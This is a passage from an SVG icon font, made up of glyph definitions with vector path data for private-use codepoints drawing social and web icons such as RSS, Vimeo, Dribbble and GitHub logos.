		C 295.757,99.109, 163.072,231.781, 0.068,231.781zM 0.17,384l0-85.906 c 199.405,0, 361.706-162.459, 361.706-362.094L 448-64 C 448,182.956, 247.076,384, 0.17,384z"  />
<glyph unicode="&#xe171;" d="M 373.336,384L 74.675,384 C 33.604,384,0,350.395,0,309.324l0-298.65 C0-30.422, 33.605-64, 74.676-64L 373.336-64 
	c 41.071,0, 74.664,33.577, 74.664,74.674L 448,309.324 C 448,350.395, 414.407,384, 373.336,384z M 122.038,20.329C 101.051,20.329, 84,37.257, 84,58.229
	c0,20.862, 17.050,37.98, 38.038,37.98c 21.069,0, 38.089-17.119, 38.089-37.98C 160.126,37.257, 143.106,20.329, 122.038,20.329z
	 M 217.642,20.002c0,35.792-13.916,69.483-39.139,94.694c-25.25,25.266-58.79,39.211-94.458,39.211L 84.046,208.676 
	c 103.973,0, 188.618-84.631, 188.618-188.674L 217.642,20.002L 217.642,20.002z M 314.837,20.002
	c0,127.34-103.538,230.974-230.727,230.974L 84.11,305.772 c 157.501,0, 285.664-128.242, 285.664-285.772L 314.837,20.002L 314.837,20.002z"  />
<glyph unicode="&#xe172;" d="M 224,384C 100.288,384,0,283.712,0,160s 100.288-224, 224-224s 224,100.288, 224,224S 347.712,384, 224,384z M 140,48
	c-15.464,0-28,12.536-28,28s 12.536,28, 28,28s 28-12.536, 28-28S 155.464,48, 140,48z M 217,48c0,57.897-47.103,105-105,105l0,42 
	c 81.056,0, 147-65.944, 147-147L 217,48 z M 301,48c0,50.483-19.66,97.946-55.357,133.643C 209.946,217.341, 162.484,237, 112,237l0,42 
	c 61.702,0, 119.711-24.028, 163.342-67.659C 318.972,167.711, 343,109.702, 343,48L 301,48 z"  />
<glyph unicode="&#xe173;" d="M 364,328L 84,328 c-46.2,0-84-37.8-84-84l0-168 c0-46.2, 37.8-84, 84-84l 280,0 c 46.2,0, 84,37.8, 84,84L 448,244 C 448,290.2, 410.2,328, 364,328z
	 M 168,48L 168,272 l 140-112L 168,48z"  />
<glyph unicode="&#xe174;" d="M 364,328L 84,328 c-46.2,0-84-37.8-84-84l0-168 c0-46.2, 37.8-84, 84-84l 280,0 c 46.2,0, 84,37.8, 84,84L 448,244 C 448,290.2, 410.2,328, 364,328z
		 M 420,76c0-14.865-5.851-28.902-16.474-39.526C 392.902,25.851, 378.866,20, 364,20L 84,20 c-14.865,0-28.902,5.851-39.525,16.474
		C 33.851,47.098, 28,61.135, 28,76L 28,244 c0,14.865, 5.851,28.902, 16.474,39.525S 69.135,300, 84,300l 280,0 
		c 14.865,0, 28.902-5.851, 39.526-16.474C 414.15,272.902, 420,258.865, 420,244L 420,76 zM 168,48L 308,160L 168,272 	z"  />
<glyph unicode="&#xe175;" d="M0,249.088l 18.197-23.863c0,0, 37.524,29.579, 50.032,14.788c 12.507-14.788, 60.259-193.356, 76.199-226.295
	c 13.912-28.888, 52.289-67.078, 94.375-39.805c 42.059,27.274, 181.93,146.688, 206.966,287.707
	c 25.016,140.974-168.315,111.443-188.794-11.379c 51.183,30.728, 78.503-12.485, 52.312-61.413
	c-26.144-48.879-50.032-80.759-62.541-80.759c-12.485,0-22.089,32.711-36.395,89.883c-14.787,59.107-14.697,165.576-76.176,153.506
	C 76.199,340.078,0,249.088,0,249.088z"  />
<glyph unicode="&#xe176;" d="M 373.323,384L 74.677,384 C 33.605,384,0,350.393,0,309.322l0-298.646 C0-30.422, 33.605-64, 74.677-64l 298.646,0 
	C 414.395-64, 448-30.422, 448,10.677L 448,309.322 C 448,350.393, 414.395,384, 373.323,384z M 355.63,192.32
	c-14.857-83.692-97.872-154.567-122.841-170.761c-24.976-16.19-47.755,6.485-56.017,23.622
	c-9.457,19.56-37.804,125.536-45.224,134.321c-7.422,8.767-29.696-8.785-29.696-8.785l-10.803,14.164
	c0,0, 45.23,54.008, 79.642,60.759c 36.489,7.16, 36.435-56.029, 45.211-91.106c 8.487-33.934, 14.192-53.354, 21.602-53.354
	c 7.424,0, 21.605,18.927, 37.123,47.937c 15.547,29.040-0.673,54.692-31.050,36.44C 255.734,258.469, 370.48,275.999, 355.63,192.32z"  />
<glyph unicode="&#xe177;" d="M 224,384C 100.288,384,0,283.712,0,160s 100.288-224, 224-224s 224,100.288, 224,224S 347.712,384, 224,384z M 355.63,192.32
	c-14.857-83.692-97.872-154.567-122.841-170.761c-24.976-16.19-47.755,6.485-56.017,23.622
	c-9.457,19.56-37.804,125.536-45.224,134.321c-7.422,8.767-29.696-8.785-29.696-8.785l-10.803,14.164
	c0,0, 45.23,54.008, 79.642,60.759c 36.489,7.16, 36.435-56.029, 45.211-91.106c 8.487-33.934, 14.192-53.354, 21.602-53.354
	c 7.424,0, 21.605,18.927, 37.123,47.937c 15.547,29.040-0.673,54.692-31.050,36.44C 255.734,258.469, 370.48,275.999, 355.63,192.32z"  />
<glyph unicode="&#xe178;" d="M 372.75,384L 75.25,384 C 33.863,384,0,350.137,0,308.75l0-297.5 c0-41.387, 33.863-75.25, 75.25-75.25l 297.5,0 c 41.387,0, 75.25,33.863, 75.25,75.25L 448,308.75 C 448,350.137, 414.137,384, 372.75,384z
	 M 369.105,30.646c-49.583-16.334-146.416-48.125-164.5-52.646s-36.75-12.105-47.25,18.229c0,0-89.25,263.666-97.416,287S 43.817,320.629, 62.271,328
	c 42.602,17.016, 86.916,38.719, 95.084,14c 7.307-22.114, 85.166-266, 85.166-266s 91.583,32.23, 116.666,39.23s 33.688,11.667, 40.25-22.75
	S 418.688,46.98, 369.105,30.646z"  />
<glyph unicode="&#xe179;" d="M0,146A98,98 1260 1 0 196,146A98,98 1260 1 0 0,146zM 252,146A98,98 1260 1 0 448,146A98,98 1260 1 0 252,146z"  />
<glyph unicode="&#xe17a;" d="M 350,202 C 319.121,202 294,176.879 294,146 C 294,115.121 319.121,90 350,90 C 380.879,90 406,115.121 406,146 C 406,176.879 380.879,202 350,202 Z M 350,244 L 350,244 C 404.123,244 448,200.124 448,146 C 448,91.877 404.123,48 350,48 C 295.877,48 252,91.877 252,146 C 252,200.124 295.877,244 350,244 ZM0,146A98,98 1260 1 0 196,146A98,98 1260 1 0 0,146z"  />
<glyph unicode="&#xe17b;" d="M 373.352,384L 74.676,384 C 33.605,384,0,350.395,0,309.327l0-298.649 C0-30.422, 33.605-64, 74.676-64l 298.673,0 
	C 414.419-64, 448-30.42, 448,10.68L 448,309.327 C 448,350.395, 414.419,384, 373.352,384z M 126,90c-38.66,0-70,31.34-70,70
	c0,38.66, 31.34,70, 70,70s 70-31.34, 70-70C 196,121.34, 164.66,90, 126,90z M 322,90c-38.661,0-70,31.34-70,70
	c0,38.66, 31.339,70, 70,70s 70-31.34, 70-70C 392,121.34, 360.661,90, 322,90z"  />
<glyph unicode="&#xe17c;" d="M 224,384C 100.288,384,0,283.027,0,158.469S 100.288-67.063, 224-67.063s 224,100.973, 224,225.531S 347.712,384, 224,384z M 126,90
	c-38.66,0-70,31.34-70,70c0,38.66, 31.34,70, 70,70s 70-31.34, 70-70C 196,121.34, 164.66,90, 126,90z M 322,90
	c-38.661,0-70,31.34-70,70c0,38.66, 31.339,70, 70,70s 70-31.34, 70-70C 392,121.34, 360.661,90, 322,90z"  />
<glyph unicode="&#xe17d;" d="M 308,211.511 L 148.55,370.961 C 172.127,379.394 197.524,384 224,384 C 253.708,384 282.058,378.203 308,367.7 L 308,211.511 ZM 336,76 L 336,354.025 C 402.952,315.294 448,242.91 448,160 C 448,130.292 442.203,101.942 431.701,76 L 336,76 ZM 140,48 L 418.025,48 C 379.294-18.952 306.91-64 224-64 C 194.292-64 165.942-58.203 140-47.701 L 140,48 ZM 186.489,286 L 6.553,106.064 C 2.281,123.341 0,141.403 0,160 C 0,244.605 46.911,318.245 116.135,356.354 L 186.489,286 ZM 112,164.489 L 112-34.025 C 70.614-10.084 37.609,26.721 18.43,70.919 L 112,164.489 Z"  />
<glyph unicode="&#xe17e;" d="M 373.352,384L 74.676,384 C 33.605,384,0,350.395,0,309.327l0-298.649 C0-30.422, 33.605-64, 74.676-64l 298.672,0 
	C 414.419-64, 448-30.42, 448,10.68L 448,309.327 C 448,350.395, 414.419,384, 373.352,384z M 224,356c 30.062,0, 58.539-6.777, 84-18.873L 308,211.511 
	L 170.818,348.693C 187.73,353.45, 205.567,356, 224,356z M 28,160c0,76.951, 44.352,143.532, 108.882,175.606L 186.489,286L 30.313,129.824
	C 28.793,139.661, 28,149.737, 28,160z M 112-0.852c-32.674,22.793-58.084,55.277-72.044,93.297L 112,164.489L 112-0.852 z M 224-36
	c-30.062,0-58.539,6.777-84,18.873L 140,48 l 244.852,0 C 349.434-2.773, 290.601-36, 224-36z M 401.127,76L 336,76 L 336,320.853 
	c 50.773-35.419, 84-94.251, 84-160.853C 420,129.938, 413.223,101.461, 401.127,76z"  />
<glyph unicode="&#xe17f;" d="M 224.001-64C 100.486-64,0,36.486,0,160S 100.486,384, 224.001,384
	C 347.517,384, 448,283.514, 448,160S 347.517-64, 224.001-64z M 412.912,129.337c-6.546,2.065-59.222,17.776-119.179,8.18
	c 25.027-68.769, 35.209-124.779, 37.169-136.416C 373.826,30.124, 404.383,76.101, 412.912,129.337z M 298.739-16.417
	c-2.846,16.787-13.955,75.289-40.818,145.093c-0.42-0.144-0.841-0.28-1.26-0.425c-107.918-37.607-146.657-112.445-150.1-119.483
	c 32.441-25.298, 73.21-40.39, 117.441-40.39C 250.505-31.622, 275.766-26.202, 298.739-16.417z M 81.855,31.778
	c 4.335,7.42, 56.844,94.362, 155.521,126.26c 2.495,0.805, 5.008,1.562, 7.541,2.275c-4.804,10.869-10.036,21.75-15.512,32.469
	c-95.549-28.595-188.267-27.401-196.639-27.228c-0.058-1.943-0.097-3.889-0.097-5.848C 32.669,110.567, 51.298,65.7, 81.855,31.778z
	 M 36.712,198.895c 8.557-0.114, 87.385-0.456, 176.882,23.311c-31.701,56.355-65.893,103.736-70.937,110.652
	C 89.129,307.612, 49.118,258.267, 36.712,198.895z M 179.164,345.719c 5.288-7.081, 40.039-54.402, 71.391-112.006
	c 68.035,25.499, 96.836,64.212, 100.278,69.114c-33.788,29.977-78.217,48.212-126.832,48.212C 208.562,351.039, 193.552,349.187, 179.164,345.719z
	 M 372.103,280.701c-4.032-5.457-36.096-46.558-106.838-75.44c 4.453-9.114, 8.721-18.383, 12.694-27.713
	c 1.407-3.307, 2.78-6.599, 4.12-9.874c 63.664,8.005, 126.92-4.825, 133.23-6.159C 414.887,206.675, 398.751,248.144, 372.103,280.701z"  />
<glyph unicode="&#xe180;" d="M 235.704,158.283 C 149.362,130.373 103.416,54.299 99.623,47.805 C 72.885,77.486 56.585,116.744 56.585,159.743 C 56.585,161.456 56.619,163.16 56.67,164.86 C 63.996,164.71 145.124,163.664 228.729,188.685 C 233.521,179.305 238.099,169.784 242.302,160.274 C 240.087,159.65 237.887,158.988 235.704,158.283 ZM 334.979,284.974 C 331.968,280.684 306.766,246.81 247.236,224.499 C 219.803,274.901 189.395,316.308 184.768,322.504 C 197.358,325.539 210.493,327.159 224.001,327.159 C 266.539,327.159 305.414,311.204 334.979,284.974 ZM 214.895,214.43 C 136.584,193.635 67.61,193.934 60.122,194.033 C 70.978,245.983 105.988,289.16 152.825,311.251 C 157.238,305.198 187.156,263.741 214.895,214.43 ZM 252.578,132.219 C 252.945,132.347 253.313,132.465 253.681,132.591 C 277.185,71.514 286.906,20.324 289.397,5.635 C 269.295-2.926 247.193-7.669 224.001-7.669 C 185.298-7.669 149.625,5.536 121.24,27.672 C 124.253,33.831 158.149,99.314 252.578,132.219 ZM 372.75,384L 75.25,384 C 33.863,384,0,350.137,0,308.75l0-297.5 c0-41.387, 33.863-75.25, 75.25-75.25l 297.5,0 c 41.387,0, 75.25,33.863, 75.25,75.25L 448,308.75 C 448,350.137, 414.137,384, 372.75,384z M 224.001-36
		C 115.925-36, 28,51.924, 28,160C 28,268.075, 115.925,356, 224.001,356C 332.077,356, 420,268.075, 420,160
		C 420,51.924, 332.077-36, 224.001-36zM 285.016,140.328 C 337.479,148.725 383.569,134.977 389.298,133.171 C 381.834,86.588 355.098,46.359 317.539,20.964 C 315.823,31.148 306.913,80.155 285.016,140.328 ZM 260.108,199.604 C 322.007,224.876 350.061,260.838 353.59,265.614 C 376.905,237.126 391.025,200.841 391.395,161.326 C 385.875,162.494 330.526,173.72 274.82,166.715 C 273.647,169.581 272.446,172.461 271.214,175.355 C 267.739,183.519 264.003,191.63 260.108,199.604 Z"  />
<glyph unicode="&#xe181;" d="M 334.979,284.974 C 331.968,280.684 306.766,246.81 247.236,224.499 C 219.803,274.901 189.395,316.308 184.768,322.504 C 197.358,325.539 210.493,327.159 224.001,327.159 C 266.539,327.159 305.414,311.204 334.979,284.974 ZM 235.704,158.283 C 149.362,130.373 103.416,54.299 99.623,47.805 C 72.885,77.486 56.585,116.744 56.585,159.743 C 56.585,161.456 56.619,163.16 56.67,164.86 C 63.996,164.71 145.124,163.664 228.729,188.685 C 233.521,179.305 238.099,169.784 242.302,160.274 C 240.087,159.65 237.887,158.988 235.704,158.283 ZM 224,384C 100.288,384,0,283.712,0,160s 100.288-224, 224-224s 224,100.288, 224,224S 347.712,384, 224,384z M 224.001-36
		C 115.925-36, 28,51.924, 28,160C 28,268.075, 115.925,356, 224.001,356C 332.077,356, 420,268.075, 420,160
		C 420,51.924, 332.077-36, 224.001-36zM 271.214,175.355 C 267.738,183.519 264.003,191.63 260.107,199.605 C 322.006,224.876 350.061,260.839 353.59,265.614 C 376.905,237.126 391.025,200.841 391.395,161.326 C 385.875,162.494 330.526,173.72 274.82,166.715 C 273.647,169.581 272.446,172.461 271.214,175.355 ZM 214.895,214.43 C 136.584,193.635 67.61,193.934 60.122,194.033 C 70.978,245.983 105.988,289.16 152.825,311.251 C 157.238,305.198 187.156,263.741 214.895,214.43 ZM 252.578,132.219 C 252.945,132.347 253.313,132.465 253.681,132.591 C 277.185,71.514 286.906,20.324 289.397,5.635 C 269.295-2.926 247.193-7.669 224.001-7.669 C 185.298-7.669 149.625,5.536 121.24,27.672 C 124.253,33.831 158.149,99.314 252.578,132.219 ZM 285.016,140.328 C 337.479,148.725 383.569,134.977 389.298,133.171 C 381.834,86.588 355.098,46.359 317.539,20.964 C 315.823,31.148 306.913,80.155 285.016,140.328 Z"  />
<glyph unicode="&#xe182;" d="M 168-8 L 0-8 L 196,384 L 392-8 L 224-8 L 224,48 L 280,48 L 280,76 L 224,76 L 224,132 L 168,132 ZM 168-8L 224-8L 224-64L 168-64z"  />
<glyph unicode="&#xe183;" d="M 196,132L 252,132L 252,20L 196,20zM 372.75,384L 75.25,384 C 33.863,384,0,350.137,0,308.75l0-297.5 c0-41.387, 33.863-75.25, 75.25-75.25l 297.5,0 c 41.387,0, 75.25,33.863, 75.25,75.25L 448,308.75 C 448,350.137, 414.137,384, 372.75,384z M 252,20l0-56 
		l-56,0 l0,56 L 84,20 L 224,328l 140-308L 252,20 z"  />
<glyph unicode="&#xe184;" d="M 245.812,205.937c-17.081,0.998-36.786-0.021-59.609-3.916l 52.646-94.889L 448,164.562
	c-2.255,5.364-5.55,10.599-9.915,15.662c-21.645,25.059-68.574,47.414-119.702,57.495l 0.001,0.011
	c-50.157,11.757-104.476,11.263-160.107,2.865c-2.005-0.301-4-0.622-5.985-0.956l-18.494,34.253
	c-18-2.403-34.916-6.147-50.578-11.145l 17.614-36.837c-28.77-11.146-52.378-27.020-69.413-46.127
	C 3.329,147.819-7.774,107.637, 5.72,68.506c 2.714-7.893, 6.382-15.382, 10.909-22.398l 209.155,57.443l-58.078,107.559
	c 1.994,0.385, 4.023,0.773, 6.094,1.148c 93.923,16.755, 145.295-9.128, 173.432-36.676l-71.557-17.346L 245.812,205.937z M 76.441,109.954
	c-6.457,29.467-1.318,62.355, 39.552,84.26l 31.998-66.915L 76.441,109.954z"  />
<glyph unicode="&#xe185;" d="M 372.75,384L 75.25,384 C 33.863,384,0,350.137,0,308.75l0-297.5 c0-41.387, 33.863-75.25, 75.25-75.25l 297.5,0 c 41.387,0, 75.25,33.863, 75.25,75.25L 448,308.75 C 448,350.137, 414.137,384, 372.75,384z M 420,48L 252,48 
		L 252,151.25 c0,0, 30.771-0.438, 47.25-17.5l0-29.75 l 67.554,0 c-5.171,16.573-16.217,32.861-31.994,46.666C 307.695,174.391, 263.413,186.25, 224,186.25l0-138.25 L 28,48 l0,42 
		c0,18.986, 6.409,37.86, 18.534,54.583c 10.76,14.839, 25.753,27.927, 44.564,38.9c 22.064,12.87, 48.371,22.185, 76.902,27.465L 168,272 l 56,0 
		l0-56 c 64.313,0, 96.955-11.548, 132.903-32.518c 18.811-10.973, 33.804-24.061, 44.564-38.9C 413.591,127.86, 420,108.986, 420,90L 420,48 zM 87.321,104 C 92.492,120.573 103.539,136.861 119.314,150.666 C 133.113,162.739 149.773,172.185 168,178.559 L 168,104 L 87.321,104 Z"  />
<glyph unicode="&#xe186;" d="M 308,258A42,42 1260 1 0 392,258A42,42 1260 1 0 308,258zM 419.297,327.296c-38.272,38.271-100.321,38.271-138.594,0c-15.565-15.565-24.799-35.064-27.703-55.296l0,0 L 163.446,136.275
		c-12.034-0.617-23.965-3.682-34.985-9.194L 59.383,181.079c-15.991,12.501-39.087,9.67-51.587-6.321
		c-12.5-15.991-9.67-39.087, 6.321-51.587l 68.221-53.328c-7.42-29.217, 0.294-61.485, 23.157-84.347
		c 34.521-34.52, 90.489-34.52, 125.010,0c 21.204,21.204, 29.378,50.5, 24.533,77.948L 364,160.999l-0.001,0.001
		c 20.233,2.904, 39.732,12.138, 55.297,27.703C 457.568,226.974, 457.568,289.025, 419.297,327.296z M 168-10.93
		c-32.546,0-58.93,26.383-58.93,58.93c0,0.311, 0.018,0.619, 0.024,0.929l 29.274-22.883c 6.72-5.253, 14.692-7.798, 22.607-7.798
		c 10.921,0, 21.731,4.848, 28.979,14.119c 12.5,15.991, 9.67,39.087-6.321,51.587l-27.781,21.716c 3.921,0.822, 7.984,1.26, 12.149,1.26
		c 32.546,0, 58.93-26.383, 58.93-58.93S 200.547-10.93, 168-10.93z M 350,188c-38.66,0-70,31.34-70,70s 31.34,70, 70,70
		s 70-31.34, 70-70S 388.66,188, 350,188z"  />
<glyph unicode="&#xe187;" d="M 132.966,18.246 C 144.841,18.246 156.497,23.993 163.579,34.615 C 174.837,51.504 170.273,74.32 153.386,85.579 L 124.478,104.85 C 129.426,106.197 134.626,106.93 140,106.93 C 172.547,106.93 198.93,80.547 198.93,48 C 198.93,15.453 172.546-10.93 139.999-10.93 C 108.322-10.93 82.492,14.065 81.134,45.408 L 112.614,24.422 C 118.88,20.245 125.961,18.246 132.966,18.246 ZM 373.336,384 C 414.407,384 448,350.395 448,309.324 L 448,10.674 C 448-30.423 414.407-64 373.336-64 L 74.676-64 C 33.605-64 0-30.422 0,10.673 L 0,99.498 L 53.084,64.11 C 47.986,36.471 56.119,6.871 77.495-14.505 C 112.016-49.025 167.983-49.025 202.505-14.505 C 223.709,6.699 231.883,35.996 227.038,63.443 L 336.001,160.999 L 336,161 C 356.234,163.904 375.732,173.138 391.297,188.703 C 429.568,226.974 429.568,289.025 391.297,327.296 C 353.025,365.568 290.975,365.568 252.703,327.296 C 237.138,311.731 227.904,292.233 225,272 L 225,272 L 135.446,136.274 C 121.513,135.56 107.719,131.565 95.316,124.29 L 0,187.835 L 0,309.324 C 0,350.395 33.604,384 74.675,384 L 373.336,384 ZM 392,258c0,38.66-31.34,70-70,70s-70-31.34-70-70s 31.34-70, 70-70S 392,219.34, 392,258z M 280,258
		c0,23.196, 18.804,42, 42,42s 42-18.804, 42-42s-18.804-42-42-42S 280,234.804, 280,258z"  />
<glyph unicode="&#xe188;" d="M 0,140.571 C 0,120.272 1.899,101.904 5.697,85.474 C 9.494,69.045 14.752,54.769 21.47,42.647 C 28.188,30.524 36.732,19.863 47.101,10.662 C 57.47,1.461 68.716-6.061 80.838-11.902 C 92.959-17.743 106.797-22.489 122.351-26.141 C 137.905-29.793 153.788-32.349 169.999-33.81 C 186.211-35.27 204.028-36 223.452-36 C 243.023-36 260.914-35.27 277.125-33.81 C 293.336-32.349 309.256-29.792 324.882-26.141 C 340.509-22.491 354.419-17.745 366.615-11.902 C 378.81-6.060 390.128,1.461 400.572,10.662 C 411.015,19.863 419.632,30.526 426.422,42.647 C 433.212,54.767 438.506,69.044 442.304,85.474 C 446.101,101.905 448,120.272 448,140.571 C 448,176.79 435.878,208.118 411.636,234.553 C 412.95,238.058 414.155,242.037 415.25,246.492 C 416.346,250.947 417.368,257.299 418.317,265.551 C 419.267,273.803 418.902,283.332 417.222,294.14 C 415.543,304.948 412.439,315.974 407.91,327.22 L 404.625,327.877 C 402.287,328.315 398.453,328.206 393.123,327.548 C 387.792,326.891 381.585,325.577 374.502,323.605 C 367.419,321.634 358.291,317.836 347.118,312.213 C 335.945,306.59 324.152,299.544 311.737,291.073 C 290.415,296.915 261.132,299.836 223.891,299.836 C 186.794,299.836 157.585,296.915 136.262,291.073 C 123.847,299.544 111.981,306.59 100.663,312.213 C 89.345,317.836 80.326,321.634 73.608,323.605 C 66.89,325.577 60.609,326.855 54.768,327.439 C 48.926,328.024 45.238,328.206 43.705,327.987 C 42.171,327.768 40.966,327.512 40.090,327.22 C 35.563,315.974 32.459,304.949 30.78,294.14 C 29.101,283.332 28.735,273.803 29.684,265.551 C 30.634,257.3 31.657,250.947 32.751,246.492 C 33.847,242.037 35.052,238.058 36.366,234.553 C 12.122,208.118 0,176.791 0,140.571 Z M 54.987,85.584 C 54.987,106.615 64.553,125.893 83.685,143.419 C 89.38,148.678 96.026,152.656 103.62,155.359 C 111.214,158.061 119.794,159.594 129.361,159.96 C 138.927,160.325 148.091,160.252 156.854,159.74 C 165.617,159.229 176.424,158.535 189.276,157.659 C 202.129,156.783 213.229,156.345 222.576,156.345 C 231.923,156.345 243.023,156.783 255.875,157.659 C 268.727,158.535 279.534,159.229 288.298,159.74 C 297.061,160.252 306.224,160.325 315.791,159.96 C 325.357,159.594 333.937,158.061 341.533,155.359 C 349.126,152.657 355.771,148.678 361.467,143.419 C 380.599,126.184 390.166,106.907 390.166,85.584 C 390.166,73.022 388.595,61.888 385.455,52.175 C 382.315,42.462 378.298,34.32 373.405,27.749 C 368.512,21.178 361.722,15.591 353.032,10.99 C 344.342,6.389 335.872,2.848 327.62,0.364 C 319.368-2.118 308.779-4.054 295.854-5.442 C 282.928-6.829 271.391-7.669 261.24-7.961 C 251.090-8.253 238.201-8.399 222.575-8.399 C 206.948-8.399 194.059-8.253 183.909-7.961 C 173.759-7.669 162.221-6.829 149.296-5.442 C 136.371-4.054 125.783-2.118 117.531,0.364 C 109.28,2.848 100.809,6.39 92.119,10.99 C 83.43,15.59 76.638,21.176 71.746,27.749 C 66.853,34.321 62.836,42.462 59.697,52.175 C 56.556,61.888 54.987,73.024 54.987,85.584 ZM 280,90A28,42 2700 1 0 336,90A28,42 2700 1 0 280,90zM 112,90A28,42 2700 1 0 168,90A28,42 2700 1 0 112,90z"  />
<glyph unicode="&#xe189;" d="M 224,20.047c-8.38,0-16.76,4.338-25.437,13.016c-3.417,3.417-3.417,8.957,0,12.375c 3.417,3.416, 8.957,3.416, 12.375,0
		C 216.278,40.096, 220.551,37.5, 224,37.5c 3.448,0, 7.722,2.596, 13.063,7.937c 3.418,3.416, 8.957,3.416, 12.375,0
		c 3.417-3.417, 3.417-8.957,0-12.375C 240.76,24.385, 232.38,20.047, 224,20.047zM 0,154.097 C 0,132.269 1.866,112.481 5.6,94.736 C 9.334,76.991 14.584,61.6 21.35,48.566 C 28.116,35.532 36.672,24.108 47.016,14.292 C 57.361,4.477 68.599-3.61 80.733-9.971 C 92.866-16.33 106.749-21.475 122.383-25.399 C 138.016-29.326 153.921-32.074 170.099-33.644 C 186.277-35.215 204.089-36 223.533-36 C 242.977-36 260.826-35.217 277.082-33.646 C 293.338-32.076 309.283-29.327 324.915-25.401 C 340.548-21.475 354.471-16.332 366.682-9.972 C 378.892-3.612 390.21,4.477 400.631,14.291 C 411.054,24.106 419.649,35.53 426.415,48.564 C 433.183,61.599 438.472,76.99 442.283,94.735 C 446.093,112.48 447.999,132.267 447.999,154.095 C 447.999,193.198 435.865,226.882 411.599,255.149 C 412.999,258.919 414.204,263.237 415.215,268.105 C 416.225,272.974 417.198,279.844 418.131,288.717 C 419.066,297.59 418.715,307.837 417.082,319.457 C 415.448,331.079 412.377,342.935 407.865,355.027 L 404.365,355.735 C 402.033,356.206 398.222,356.049 392.933,355.262 C 387.645,354.477 381.461,353.065 374.384,351.023 C 367.307,348.982 358.167,344.938 346.966,338.892 C 335.767,332.847 323.945,325.19 311.5,315.925 C 290.344,322.364 261.179,329.101 224,329.101 C 186.823,329.101 157.578,322.365 136.268,315.926 C 123.823,325.192 111.962,332.808 100.684,338.776 C 89.406,344.744 80.384,348.827 73.617,351.025 C 66.85,353.223 60.589,354.637 54.834,355.264 C 49.078,355.892 45.383,356.089 43.75,355.853 C 42.117,355.618 40.912,355.343 40.134,355.029 C 35.621,342.936 32.511,331.080 30.799,319.458 C 29.088,307.838 28.699,297.63 29.633,288.837 C 30.566,280.042 31.577,273.131 32.666,268.107 C 33.756,263.082 35,258.763 36.4,255.151 C 12.134,227.042 0,193.358 0,154.097 Z M 59.734,104.261 C 59.734,129.645 69.067,152.665 87.734,173.323 C 93.335,179.625 99.83,184.397 107.218,187.634 C 114.607,190.873 123.007,192.712 132.418,193.149 C 141.83,193.587 150.812,193.499 159.368,192.887 C 167.924,192.273 178.502,191.442 191.102,190.392 C 203.701,189.341 214.59,188.816 223.768,188.816 C 232.945,188.816 243.835,189.341 256.434,190.392 C 269.036,191.442 279.613,192.273 288.168,192.887 C 296.726,193.499 305.707,193.587 315.119,193.149 C 324.531,192.711 332.97,190.873 340.436,187.634 C 347.903,184.397 354.436,179.625 360.036,173.323 C 378.702,152.665 388.036,129.645 388.036,104.261 C 388.036,89.38 386.481,76.119 383.369,64.477 C 380.258,52.834 376.33,43.076 371.585,35.199 C 366.841,27.32 360.189,20.666 351.636,15.24 C 343.080,9.812 334.796,5.611 326.786,2.636 C 318.775-0.339 308.43-2.66 295.753-4.323 C 283.073-5.984 271.719-6.993 261.684-7.342 C 251.65-7.692 239.012-7.867 223.768-7.867 C 208.524-7.867 195.924-7.691 185.968-7.342 C 176.012-6.993 164.696-5.984 152.018-4.323 C 139.34-2.66 128.996-0.34 120.984,2.636 C 112.974,5.611 104.69,9.812 96.135,15.24 C 87.579,20.667 80.929,27.32 76.184,35.199 C 71.439,43.076 67.512,52.834 64.401,64.477 C 61.29,76.119 59.734,89.38 59.734,104.261 ZM 112,117.998A28,42 2700 1 0 168,117.99799999999999A28,42 2700 1 0 112,117.99799999999999zM 280,117.998A28,42 2700 1 0 336,117.99799999999999A28,42 2700 1 0 280,117.99799999999999z"  />
<glyph unicode="&#xe18a;" d="M 224,384C 100.288,384,0,283.712,0,160s 100.288-224, 224-224s 224,100.288, 224,224S 347.712,384, 224,384z M 357.024,26.976
	c-17.289-17.288-37.412-30.858-59.81-40.331c-5.69-2.406-11.469-4.518-17.325-6.34L 279.89,13.875 c0,17.646-6.052,30.625-18.156,38.938
	c 7.584,0.729, 14.547,1.75, 20.891,3.063s 13.052,3.209, 20.125,5.688s 13.416,5.432, 19.031,8.859s 11.010,7.875, 16.188,13.344s 9.516,11.666, 13.016,18.594
	s 6.271,15.24, 8.313,24.938s 3.063,20.381, 3.063,32.047c0,22.604-7.365,41.854-22.094,57.75c 6.709,17.5, 5.979,36.531-2.188,57.094l-5.469,0.656
	c-3.791,0.438-10.609-1.166-20.453-4.813s-20.891-9.625-33.141-17.938c-17.354,4.813-35.365,7.219-54.031,7.219c-18.813,0-36.75-2.406-53.813-7.219
	c-7.729,5.25-15.057,9.588-21.984,13.016c-6.927,3.427-12.469,5.76-16.625,7s-8.021,2.005-11.594,2.297s-5.87,0.365-6.891,0.219
	s-1.75-0.291-2.188-0.438c-8.166-20.709-8.896-39.74-2.188-57.094c-14.729-15.896-22.094-35.146-22.094-57.75c0-11.666, 1.021-22.349, 3.063-32.047
	s 4.813-18.010, 8.313-24.938s 7.838-13.125, 13.016-18.594s 10.573-9.916, 16.188-13.344s 11.959-6.38, 19.031-8.859s 13.781-4.375, 20.125-5.688
	s 13.307-2.334, 20.891-3.063c-11.959-8.166-17.938-21.146-17.938-38.938l0-34.226 c-6.605,1.966-13.116,4.289-19.512,6.995
	c-22.397,9.474-42.52,23.043-59.809,40.331c-17.288,17.289-30.859,37.412-40.331,59.81C 40.844,109.954, 35.875,134.587, 35.875,160
	s 4.969,50.046, 14.769,73.216c 9.474,22.397, 23.043,42.52, 40.331,59.809s 37.412,30.859, 59.809,40.331
	C 173.954,343.156, 198.587,348.125, 224,348.125s 50.046-4.969, 73.216-14.769c 22.398-9.474, 42.521-23.043, 59.81-40.331
	c 17.288-17.288, 30.858-37.412, 40.331-59.809C 407.156,210.046, 412.125,185.413, 412.125,160s-4.969-50.046-14.769-73.216
	C 387.882,64.387, 374.313,44.264, 357.024,26.976z"  />
<glyph unicode="&#xe18b;" d="M 102.934,275.185c-22.221,0-41.337-7.353-57.349-22.057c-16.663-15.685-24.999-35.289-24.999-58.816
		c0-15.685, 4.539-30.39, 13.691-44.114c 8.17-12.743, 16.704-20.915, 27.903-24.511l0-0.981 c-11.199-4.571-16.173-16.008-16.173-34.308
		c0-14.054, 4.975-24.51, 16.173-31.372l0-0.981 c-30.911-10.126-45.059-28.916-45.059-56.363c0-23.859, 10.39-41.338, 30.654-52.447
		C 63.783-59.589, 84.34-64, 109.176-64c 60.449,0, 90.74,25.323, 90.74,75.978c0,31.695-23.328,51.136-70.056,58.326
